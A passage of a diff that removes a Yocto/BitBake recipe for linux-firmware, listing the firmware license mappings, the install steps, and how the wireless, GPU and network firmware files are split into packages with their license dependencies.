- file://LICENCE.ueagle-atm4-firmware;md5=4ed7ea6b507ccc583b9d594417714118 \
- file://LICENCE.via_vt6656;md5=e4159694cba42d4377a912e78a6e850f \
- file://LICENCE.wl1251;md5=ad3f81922bb9e197014bb187289d3b5b \
- file://LICENCE.xc4000;md5=0ff51d2dc49fce04814c9155081092f0 \
- file://LICENCE.xc5000;md5=1e170c13175323c32c7f4d0998d53f66 \
- file://LICENCE.xc5000c;md5=12b02efa3049db65d524aeb418dd87ca \
- file://WHENCE;md5=37a01e379219d1e06dbccfa90a8fc0ad \
- "
-
-# These are not common licenses, set NO_GENERIC_LICENSE for them
-# so that the license files will be copied from fetched source
-NO_GENERIC_LICENSE[Firmware-Abilis] = "LICENCE.Abilis"
-NO_GENERIC_LICENSE[Firmware-adsp_sst] = "LICENCE.adsp_sst"
-NO_GENERIC_LICENSE[Firmware-agere] = "LICENCE.agere"
-NO_GENERIC_LICENSE[Firmware-amdgpu] = "LICENSE.amdgpu"
-NO_GENERIC_LICENSE[Firmware-amd-ucode] = "LICENSE.amd-ucode"
-NO_GENERIC_LICENSE[Firmware-amlogic_vdec] = "LICENSE.amlogic_vdec"
-NO_GENERIC_LICENSE[Firmware-atheros_firmware] = "LICENCE.atheros_firmware"
-NO_GENERIC_LICENSE[Firmware-atmel] = "LICENSE.atmel"
-NO_GENERIC_LICENSE[Firmware-broadcom_bcm43xx] = "LICENCE.broadcom_bcm43xx"
-NO_GENERIC_LICENSE[Firmware-ca0132] = "LICENCE.ca0132"
-NO_GENERIC_LICENSE[Firmware-cadence] = "LICENCE.cadence"
-NO_GENERIC_LICENSE[Firmware-cavium] = "LICENCE.cavium"
-NO_GENERIC_LICENSE[Firmware-chelsio_firmware] = "LICENCE.chelsio_firmware"
-NO_GENERIC_LICENSE[Firmware-cw1200] = "LICENCE.cw1200"
-NO_GENERIC_LICENSE[Firmware-cypress] = "LICENCE.cypress"
-NO_GENERIC_LICENSE[Firmware-dib0700] = "LICENSE.dib0700"
-NO_GENERIC_LICENSE[Firmware-e100] = "LICENCE.e100"
-NO_GENERIC_LICENSE[Firmware-ene_firmware] = "LICENCE.ene_firmware"
-NO_GENERIC_LICENSE[Firmware-fw_sst_0f28] = "LICENCE.fw_sst_0f28"
-NO_GENERIC_LICENSE[Firmware-go7007] = "LICENCE.go7007"
-NO_GENERIC_LICENSE[Firmware-GPLv2] = "GPL-2"
-NO_GENERIC_LICENSE[Firmware-hfi1_firmware] = "LICENSE.hfi1_firmware"
-NO_GENERIC_LICENSE[Firmware-i2400m] = "LICENCE.i2400m"
-NO_GENERIC_LICENSE[Firmware-i915] = "LICENSE.i915"
-NO_GENERIC_LICENSE[Firmware-ibt_firmware] = "LICENCE.ibt_firmware"
-NO_GENERIC_LICENSE[Firmware-IntcSST2] = "LICENCE.IntcSST2"
-NO_GENERIC_LICENSE[Firmware-it913x] = "LICENCE.it913x"
-NO_GENERIC_LICENSE[Firmware-iwlwifi_firmware] = "LICENCE.iwlwifi_firmware"
-NO_GENERIC_LICENSE[Firmware-kaweth] = "LICENCE.kaweth"
-NO_GENERIC_LICENSE[Firmware-Marvell] = "LICENCE.Marvell"
-NO_GENERIC_LICENSE[Firmware-mediatek] = "LICENCE.mediatek"
-NO_GENERIC_LICENSE[Firmware-moxa] = "LICENCE.moxa"
-NO_GENERIC_LICENSE[Firmware-myri10ge_firmware] = "LICENCE.myri10ge_firmware"
-NO_GENERIC_LICENSE[Firmware-netronome] = "LICENCE.Netronome"
-NO_GENERIC_LICENSE[Firmware-nvidia] = "LICENCE.nvidia"
-NO_GENERIC_LICENSE[Firmware-OLPC] = "LICENCE.OLPC"
-NO_GENERIC_LICENSE[Firmware-ath9k-htc] = "LICENCE.open-ath9k-htc-firmware"
-NO_GENERIC_LICENSE[Firmware-phanfw] = "LICENCE.phanfw"
-NO_GENERIC_LICENSE[Firmware-qat] = "LICENCE.qat_firmware"
-NO_GENERIC_LICENSE[Firmware-qcom] = "LICENSE.qcom"
-NO_GENERIC_LICENSE[Firmware-qla1280] = "LICENCE.qla1280"
-NO_GENERIC_LICENSE[Firmware-qla2xxx] = "LICENCE.qla2xxx"
-NO_GENERIC_LICENSE[Firmware-qualcommAthos_ar3k] = "LICENSE.QualcommAtheros_ar3k"
-NO_GENERIC_LICENSE[Firmware-qualcommAthos_ath10k] = "LICENSE.QualcommAtheros_ath10k"
-NO_GENERIC_LICENSE[Firmware-r8a779x_usb3] = "LICENCE.r8a779x_usb3"
-NO_GENERIC_LICENSE[Firmware-radeon] = "LICENSE.radeon"
-NO_GENERIC_LICENSE[Firmware-ralink_a_mediatek_company_firmware] = "LICENCE.ralink_a_mediatek_company_firmware"
-NO_GENERIC_LICENSE[Firmware-ralink-firmware] = "LICENCE.ralink-firmware.txt"
-NO_GENERIC_LICENSE[Firmware-rtlwifi_firmware] = "LICENCE.rtlwifi_firmware.txt"
-NO_GENERIC_LICENSE[Firmware-siano] = "LICENCE.siano"
-NO_GENERIC_LICENSE[Firmware-imx-sdma_firmware] = "LICENSE.sdma_firmware"
-NO_GENERIC_LICENSE[Firmware-tda7706-firmware] = "LICENCE.tda7706-firmware.txt"
-NO_GENERIC_LICENSE[Firmware-ti-connectivity] = "LICENCE.ti-connectivity"
-NO_GENERIC_LICENSE[Firmware-ti-keystone] = "LICENCE.ti-keystone"
-NO_GENERIC_LICENSE[Firmware-ueagle-atm4-firmware] = "LICENCE.ueagle-atm4-firmware"
-NO_GENERIC_LICENSE[Firmware-via_vt6656] = "LICENCE.via_vt6656"
-NO_GENERIC_LICENSE[Firmware-wl1251] = "LICENCE.wl1251"
-NO_GENERIC_LICENSE[Firmware-xc4000] = "LICENCE.xc4000"
-NO_GENERIC_LICENSE[Firmware-xc5000] = "LICENCE.xc5000"
-NO_GENERIC_LICENSE[Firmware-xc5000c] = "LICENCE.xc5000c"
-NO_GENERIC_LICENSE[WHENCE] = "WHENCE"
-
-PE = "1"
-
-SRCREV = "07b925b450bfb4cf3e141c612ec5b104658cd020"
-
-SRC_URI = "git://git.kernel.org/pub/scm/linux/kernel/git/firmware/linux-firmware.git"
-
-UPSTREAM_CHECK_COMMITS = "1"
-
-S = "${WORKDIR}/git"
-
-inherit allarch
-
-CLEANBROKEN = "1"
-
-do_compile() {
- :
-}
-
-do_install() {
- install -d ${D}${nonarch_base_libdir}/firmware/
- cp -r * ${D}${nonarch_base_libdir}/firmware/
-
- # Avoid Makefile to be deployed
- rm ${D}${nonarch_base_libdir}/firmware/Makefile
-
- # Remove unbuild firmware which needs cmake and bash
- rm ${D}${nonarch_base_libdir}/firmware/carl9170fw -rf
-
- # Remove pointless bash script
- rm ${D}${nonarch_base_libdir}/firmware/configure
-
- # Remove python script used to check the WHENCE file
- rm ${D}${nonarch_base_libdir}/firmware/check_whence.py
-
- # Libertas sd8686
- ln -sf libertas/sd8686_v9.bin ${D}${nonarch_base_libdir}/firmware/sd8686.bin
- ln -sf libertas/sd8686_v9_helper.bin ${D}${nonarch_base_libdir}/firmware/sd8686_helper.bin
-
- # fixup wl12xx location, after 2.6.37 the kernel searches a different location for it
- ( cd ${D}${nonarch_base_libdir}/firmware ; ln -sf ti-connectivity/* . )
-}
-
-
-PACKAGES =+ "${PN}-ralink-license ${PN}-ralink \
- ${PN}-mt7601u-license ${PN}-mt7601u \
- ${PN}-radeon-license ${PN}-radeon \
- ${PN}-marvell-license ${PN}-pcie8897 ${PN}-pcie8997 \
- ${PN}-sd8686 ${PN}-sd8688 ${PN}-sd8787 ${PN}-sd8797 ${PN}-sd8801 ${PN}-sd8887 ${PN}-sd8897 \
- ${PN}-usb8997 \
- ${PN}-ti-connectivity-license ${PN}-wlcommon ${PN}-wl12xx ${PN}-wl18xx \
- ${PN}-vt6656-license ${PN}-vt6656 \
- ${PN}-rtl-license ${PN}-rtl8188 ${PN}-rtl8192cu ${PN}-rtl8192ce ${PN}-rtl8192su ${PN}-rtl8723 ${PN}-rtl8821 \
- ${PN}-rtl8168 \
- ${PN}-cypress-license \
- ${PN}-broadcom-license \
- ${PN}-bcm-0bb4-0306 \
- ${PN}-bcm43143 \
- ${PN}-bcm43236b \
- ${PN}-bcm43241b0 \
- ${PN}-bcm43241b4 \
- ${PN}-bcm43241b5 \
- ${PN}-bcm43242a \
- ${PN}-bcm4329 \
- ${PN}-bcm4329-fullmac \
- ${PN}-bcm4330 \
- ${PN}-bcm4334 \
- ${PN}-bcm43340 \
- ${PN}-bcm4335 \
- ${PN}-bcm43362 \
- ${PN}-bcm4339 \
- ${PN}-bcm43430 \
- ${PN}-bcm43430a0 \
- ${PN}-bcm43455 \
- ${PN}-bcm4350 \
- ${PN}-bcm4350c2 \
- ${PN}-bcm4354 \
- ${PN}-bcm4356 \
- ${PN}-bcm4356-pcie \
- ${PN}-bcm43569 \
- ${PN}-bcm43570 \
- ${PN}-bcm4358 \
- ${PN}-bcm43602 \
- ${PN}-bcm4366b \
- ${PN}-bcm4366c \
- ${PN}-bcm4371 \
- ${PN}-bcm4373 \
- ${PN}-bcm43xx \
- ${PN}-bcm43xx-hdr \
- ${PN}-atheros-license ${PN}-ar9170 ${PN}-ath6k ${PN}-ath9k \
- ${PN}-gplv2-license ${PN}-carl9170 \
- ${PN}-ar3k-license ${PN}-ar3k ${PN}-ath10k-license ${PN}-ath10k ${PN}-qca \
- \
- ${PN}-imx-sdma-license ${PN}-imx-sdma-imx6q ${PN}-imx-sdma-imx7d \
- \
- ${PN}-iwlwifi-license ${PN}-iwlwifi \
- ${PN}-iwlwifi-135-6 \
- ${PN}-iwlwifi-3160-7 ${PN}-iwlwifi-3160-8 ${PN}-iwlwifi-3160-9 \
- ${PN}-iwlwifi-3160-10 ${PN}-iwlwifi-3160-12 ${PN}-iwlwifi-3160-13 \
- ${PN}-iwlwifi-3160-16 ${PN}-iwlwifi-3160-17 \
- ${PN}-iwlwifi-6000-4 ${PN}-iwlwifi-6000g2a-5 ${PN}-iwlwifi-6000g2a-6 \
- ${PN}-iwlwifi-6000g2b-5 ${PN}-iwlwifi-6000g2b-6 \
- ${PN}-iwlwifi-6050-4 ${PN}-iwlwifi-6050-5 \
- ${PN}-iwlwifi-7260 \
- ${PN}-iwlwifi-7265 \
- ${PN}-iwlwifi-7265d ${PN}-iwlwifi-8000c ${PN}-iwlwifi-8265 \
- ${PN}-iwlwifi-9000 \
- ${PN}-iwlwifi-misc \
- ${PN}-ibt-license ${PN}-ibt ${PN}-ibt-misc \
- ${PN}-ibt-11-5 ${PN}-ibt-12-16 ${PN}-ibt-hw-37-7 ${PN}-ibt-hw-37-8 \
- ${PN}-ibt-17 \
- ${PN}-i915-license ${PN}-i915 \
- ${PN}-adsp-sst-license ${PN}-adsp-sst \
- ${PN}-bnx2-mips \
- ${PN}-liquidio \
- ${PN}-netronome-license ${PN}-netronome \
- ${PN}-qat ${PN}-qat-license \
- ${PN}-qcom-license \
- ${PN}-qcom-venus-1.8 ${PN}-qcom-venus-4.2 \
- ${PN}-qcom-adreno-a3xx ${PN}-qcom-adreno-a530 \
- ${PN}-whence-license \
- ${PN}-license \
- "
-
-# For atheros
-LICENSE_${PN}-ar9170 = "Firmware-atheros_firmware"
-LICENSE_${PN}-ath6k = "Firmware-atheros_firmware"
-LICENSE_${PN}-ath9k = "Firmware-atheros_firmware"
-LICENSE_${PN}-atheros-license = "Firmware-atheros_firmware"
-
-FILES_${PN}-atheros-license = "${nonarch_base_libdir}/firmware/LICENCE.atheros_firmware"
-FILES_${PN}-ar9170 = " \
- ${nonarch_base_libdir}/firmware/ar9170*.fw \
-"
-FILES_${PN}-ath6k = " \
- ${nonarch_base_libdir}/firmware/ath6k \
-"
-FILES_${PN}-ath9k = " \
- ${nonarch_base_libdir}/firmware/ar9271.fw \
- ${nonarch_base_libdir}/firmware/ar7010*.fw \
- ${nonarch_base_libdir}/firmware/htc_9271.fw \
- ${nonarch_base_libdir}/firmware/htc_7010.fw \
- ${nonarch_base_libdir}/firmware/ath9k_htc/htc_7010-1.4.0.fw \
- ${nonarch_base_libdir}/firmware/ath9k_htc/htc_9271-1.4.0.fw \
-"
-
-RDEPENDS_${PN}-ar9170 += "${PN}-atheros-license"
-RDEPENDS_${PN}-ath6k += "${PN}-atheros-license"
-RDEPENDS_${PN}-ath9k += "${PN}-atheros-license"
-
-# For carl9170
-LICENSE_${PN}-carl9170 = "Firmware-GPLv2"
-LICENSE_${PN}-gplv2-license = "Firmware-GPLv2"
-
-FILES_${PN}-gplv2-license = "${nonarch_base_libdir}/firmware/GPL-2"
-FILES_${PN}-carl9170 = " \
- ${nonarch_base_libdir}/firmware/carl9170*.fw \
-"
-
-RDEPENDS_${PN}-carl9170 += "${PN}-gplv2-license"
-
-# For QualCommAthos
-LICENSE_${PN}-ar3k = "Firmware-qualcommAthos_ar3k"
-LICENSE_${PN}-ar3k-license = "Firmware-qualcommAthos_ar3k"
-LICENSE_${PN}-ath10k = "Firmware-qualcommAthos_ath10k"
-LICENSE_${PN}-ath10k-license = "Firmware-qualcommAthos_ath10k"
-LICENSE_${PN}-qca = "Firmware-qualcommAthos_ath10k"
-
-FILES_${PN}-ar3k-license = "${nonarch_base_libdir}/firmware/LICENSE.QualcommAtheros_ar3k"
-FILES_${PN}-ar3k = " \
- ${nonarch_base_libdir}/firmware/ar3k \
-"
-
-FILES_${PN}-ath10k-license = "${nonarch_base_libdir}/firmware/LICENSE.QualcommAtheros_ath10k"
-FILES_${PN}-ath10k = " \
- ${nonarch_base_libdir}/firmware/ath10k \
-"
-
-FILES_${PN}-qca = " \
- ${nonarch_base_libdir}/firmware/qca \
-"
-
-RDEPENDS_${PN}-ar3k += "${PN}-ar3k-license"
-RDEPENDS_${PN}-ath10k += "${PN}-ath10k-license"
-RDEPENDS_${PN}-qca += "${PN}-ath10k-license"
-
-# For ralink
-LICENSE_${PN}-ralink = "Firmware-ralink-firmware"
-LICENSE_${PN}-ralink-license = "Firmware-ralink-firmware"
-
-FILES_${PN}-ralink-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink-firmware.txt"
-FILES_${PN}-ralink = " \
- ${nonarch_base_libdir}/firmware/rt*.bin \
-"
-
-RDEPENDS_${PN}-ralink += "${PN}-ralink-license"
-
-# For mediatek MT7601U
-LICENSE_${PN}-mt7601u = "Firmware-ralink_a_mediatek_company_firmware"
-LICENSE_${PN}-mt7601u-license = "Firmware-ralink_a_mediatek_company_firmware"
-
-FILES_${PN}-mt7601u-license = "${nonarch_base_libdir}/firmware/LICENCE.ralink_a_mediatek_company_firmware"
-FILES_${PN}-mt7601u = " \
- ${nonarch_base_libdir}/firmware/mt7601u.bin \
-"
-
-RDEPENDS_${PN}-mt7601u += "${PN}-mt7601u-license"
-
-# For radeon
-LICENSE_${PN}-radeon = "Firmware-radeon"
-LICENSE_${PN}-radeon-license = "Firmware-radeon"
-
-FILES_${PN}-radeon-license = "${nonarch_base_libdir}/firmware/LICENSE.radeon"
-FILES_${PN}-radeon = " \
- ${nonarch_base_libdir}/firmware/radeon \
-"
-
-RDEPENDS_${PN}-radeon += "${PN}-radeon-license"
-
-# For marvell
-LICENSE_${PN}-pcie8897 = "Firmware-Marvell"
-LICENSE_${PN}-pcie8997 = "Firmware-Marvell"
-LICENSE_${PN}-sd8686 = "Firmware-Marvell"
-LICENSE_${PN}-sd8688 = "Firmware-Marvell"
-LICENSE_${PN}-sd8787 = "Firmware-Marvell"
-LICENSE_${PN}-sd8797 = "Firmware-Marvell"
-LICENSE_${PN}-sd8801 = "Firmware-Marvell"
-LICENSE_${PN}-sd8887 = "Firmware-Marvell"
-LICENSE_${PN}-sd8897 = "Firmware-Marvell"
-LICENSE_${PN}-usb8997 = "Firmware-Marvell"
-LICENSE_${PN}-marvell-license = "Firmware-Marvell"
-
-FILES_${PN}-marvell-license = "${nonarch_base_libdir}/firmware/LICENCE.Marvell"
-FILES_${PN}-pcie8897 = " \
- ${nonarch_base_libdir}/firmware/mrvl/pcie8897_uapsta.bin \
-"
-FILES_${PN}-pcie8997 = " \
- ${nonarch_base_libdir}/firmware/mrvl/pcie8997_wlan_v4.bin \
- ${nonarch_base_libdir}/firmware/mrvl/pcieuart8997_combo_v4.bin \
- ${nonarch_base_libdir}/firmware/mrvl/pcieusb8997_combo_v4.bin \
-"
-FILES_${PN}-sd8686 = " \
- ${nonarch_base_libdir}/firmware/libertas/sd8686_v9* \
- ${nonarch_base_libdir}/firmware/sd8686* \
-"
-FILES_${PN}-sd8688 = " \
- ${nonarch_base_libdir}/firmware/libertas/sd8688* \
- ${nonarch_base_libdir}/firmware/mrvl/sd8688* \
-"
-FILES_${PN}-sd8787 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8787_uapsta.bin \
-"
-FILES_${PN}-sd8797 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8797_uapsta.bin \
-"
-FILES_${PN}-sd8801 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8801_uapsta.bin \
-"
-FILES_${PN}-sd8887 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8887_uapsta.bin \
-"
-FILES_${PN}-sd8897 = " \
- ${nonarch_base_libdir}/firmware/mrvl/sd8897_uapsta.bin \
-"
-FILES_${PN}-usb8997 = " \
- ${nonarch_base_libdir}/firmware/mrvl/usbusb8997_combo_v4.bin \
-"
-
-RDEPENDS_${PN}-sd8686 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8688 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8787 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8797 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8801 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8887 += "${PN}-marvell-license"
-RDEPENDS_${PN}-sd8897 += "${PN}-marvell-license"
-RDEPENDS_${PN}-usb8997 += "${PN}-marvell-license"
-
-# For netronome
-LICENSE_${PN}-netronome = "Firmware-netronome"
-
-FILES_${PN}-netronome-license = " \
- ${nonarch_base_libdir}/firmware/LICENCE.Netronome \
-"
-FILES_${PN}-netronome = " \
- ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0081*.nffw \
- ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0096*.nffw \
- ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0097*.nffw \
- ${nonarch_base_libdir}/firmware/netronome/nic_AMDA0099*.nffw \
-"
-
-RDEPENDS_${PN}-netronome += "${PN}-netronome-license"
-
-# For rtl
-LICENSE_${PN}-rtl8188 = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8192cu = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8192ce = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8192su = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8723 = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8821 = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl-license = "Firmware-rtlwifi_firmware"
-LICENSE_${PN}-rtl8168 = "WHENCE"
-
-FILES_${PN}-rtl-license = " \
- ${nonarch_base_libdir}/firmware/LICENCE.rtlwifi_firmware.txt \
-"
-FILES_${PN}-rtl8188 = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8188*.bin \
-"
-FILES_${PN}-rtl8192cu = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8192cufw*.bin \
-"
-FILES_${PN}-rtl8192ce = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8192cfw*.bin \
-"
-FILES_${PN}-rtl8192su = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8712u.bin \
-"
-FILES_${PN}-rtl8723 = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8723*.bin \
-"
-FILES_${PN}-rtl8821 = " \
- ${nonarch_base_libdir}/firmware/rtlwifi/rtl8821*.bin \
-"
-FILES_${PN}-rtl8168 = " \
- ${nonarch_base_libdir}/firmware/rtl_nic/rtl8168*.fw \
-"
-
-RDEPENDS_${PN}-rtl8188 += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8192ce += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8192cu += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8192su = "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8723 += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8821 += "${PN}-rtl-license"
-RDEPENDS_${PN}-rtl8168 += "${PN}-whence-license"
-
-# For ti-connectivity
-LICENSE_${PN}-wlcommon = "Firmware-ti-connectivity"
-LICENSE_${PN}-wl12xx = "Firmware-ti-connectivity"
-LICENSE_${PN}-wl18xx = "Firmware-ti-connectivity"
-LICENSE_${PN}-ti-connectivity-license = "Firmware-ti-connectivity"
-
-FILES_${PN}-ti-connectivity-license = "${nonarch_base_libdir}/firmware/LICENCE.ti-connectivity"
-FILES_${PN}-wlcommon = " \
- ${nonarch_base_libdir}/firmware/TI* \
- ${nonarch_base_libdir}/firmware/ti-connectivity/TI* \
-"
-FILES_${PN}-wl12xx = " \
- ${nonarch_base_libdir}/firmware/wl12* \
- ${nonarch_base_libdir}/firmware/ti-connectivity/wl12* \
-"
-FILES_${PN}-wl18xx = " \
- ${nonarch_base_libdir}/firmware/wl18* \
- ${nonarch_base_libdir}/firmware/ti-connectivity/wl18* \
-"
-
-RDEPENDS_${PN}-wl12xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
-RDEPENDS_${PN}-wl18xx = "${PN}-ti-connectivity-license ${PN}-wlcommon"
-
-# For vt6656
-LICENSE_${PN}-vt6656 = "Firmware-via_vt6656"
-LICENSE_${PN}-vt6656-license = "Firmware-via_vt6656"
-
-FILES_${PN}-vt6656-license = "${nonarch_base_libdir}/firmware/LICENCE.via_vt6656"
-FILES_${PN}-vt6656 = " \
- ${nonarch_base_libdir}/firmware/vntwusb.fw \
-"
-
-RDEPENDS_${PN}-vt6656 = "${PN}-vt6656-license"
-
-# For broadcom
-
-# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e " \${PN}-$pkg \\"; done | sort -u
-
-LICENSE_${PN}-broadcom-license = "Firmware-broadcom_bcm43xx"
-FILES_${PN}-broadcom-license = "${nonarch_base_libdir}/firmware/LICENCE.broadcom_bcm43xx"
-
-# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo "$i - $pkg"; echo -e "FILES_\${PN}-$pkg = \"\${nonarch_base_libdir}/firmware/brcm/$i\""; done | grep ^FILES
-
-FILES_${PN}-bcm43xx = "${nonarch_base_libdir}/firmware/brcm/bcm43xx-0.fw"
-FILES_${PN}-bcm43xx-hdr = "${nonarch_base_libdir}/firmware/brcm/bcm43xx_hdr-0.fw"
-FILES_${PN}-bcm4329-fullmac = "${nonarch_base_libdir}/firmware/brcm/bcm4329-fullmac-4.bin"
-FILES_${PN}-bcm43236b = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43236b.bin"
-FILES_${PN}-bcm4329 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4329-sdio.bin"
-FILES_${PN}-bcm4330 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4330-sdio.*"
-FILES_${PN}-bcm4334 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4334-sdio.bin"
-FILES_${PN}-bcm4335 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4335-sdio.bin"
-FILES_${PN}-bcm4339 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4339-sdio.bin"
-FILES_${PN}-bcm43241b0 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b0-sdio.bin"
-FILES_${PN}-bcm43241b4 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b4-sdio.bin"
-FILES_${PN}-bcm43241b5 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b5-sdio.bin"
-FILES_${PN}-bcm43242a = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43242a.bin"
-FILES_${PN}-bcm43143 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43143.bin \
- ${nonarch_base_libdir}/firmware/brcm/brcmfmac43143-sdio.bin \
-"
-FILES_${PN}-bcm43430a0 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43430a0-sdio.*"
-FILES_${PN}-bcm43455 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43455-sdio.*"
-FILES_${PN}-bcm4350c2 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4350c2-pcie.bin"
-FILES_${PN}-bcm4350 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4350-pcie.bin"
-FILES_${PN}-bcm4356 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4356-sdio.bin"
-FILES_${PN}-bcm43569 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43569.bin"
-FILES_${PN}-bcm43570 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43570-pcie.bin"
-FILES_${PN}-bcm4358 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4358-pcie.bin"
-FILES_${PN}-bcm43602 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43602-pcie.bin \
- ${nonarch_base_libdir}/firmware/brcm/brcmfmac43602-pcie.ap.bin \
-"
-FILES_${PN}-bcm4366b = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4366b-pcie.bin"
-FILES_${PN}-bcm4366c = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4366c-pcie.bin"
-FILES_${PN}-bcm4371 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4371-pcie.bin"
-
-# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e "LICENSE_\${PN}-$pkg = \"Firmware-broadcom_bcm43xx\"\nRDEPENDS_\${PN}-$pkg += \"\${PN}-broadcom-license\""; done
-# Currently 1st one and last 6 have cypress LICENSE
-
-LICENSE_${PN}-bcm43xx = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43xx += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43xx-hdr = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43xx-hdr += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4329-fullmac = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4329-fullmac += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43236b = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43236b += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4329 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4329 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4330 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4330 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4334 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4334 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4335 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4335 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4339 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4339 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43241b0 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43241b0 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43241b4 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43241b4 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43241b5 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43241b5 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43242a = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43242a += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43143 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43143 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43430a0 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43430a0 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43455 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43455 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4350c2 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4350c2 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4350 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4350 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4356 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4356 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43569 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43569 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43570 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm43570 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm4358 = "Firmware-broadcom_bcm43xx"
-RDEPENDS_${PN}-bcm4358 += "${PN}-broadcom-license"
-LICENSE_${PN}-bcm43602 = "Firmware-broadcom_bcm43xx"
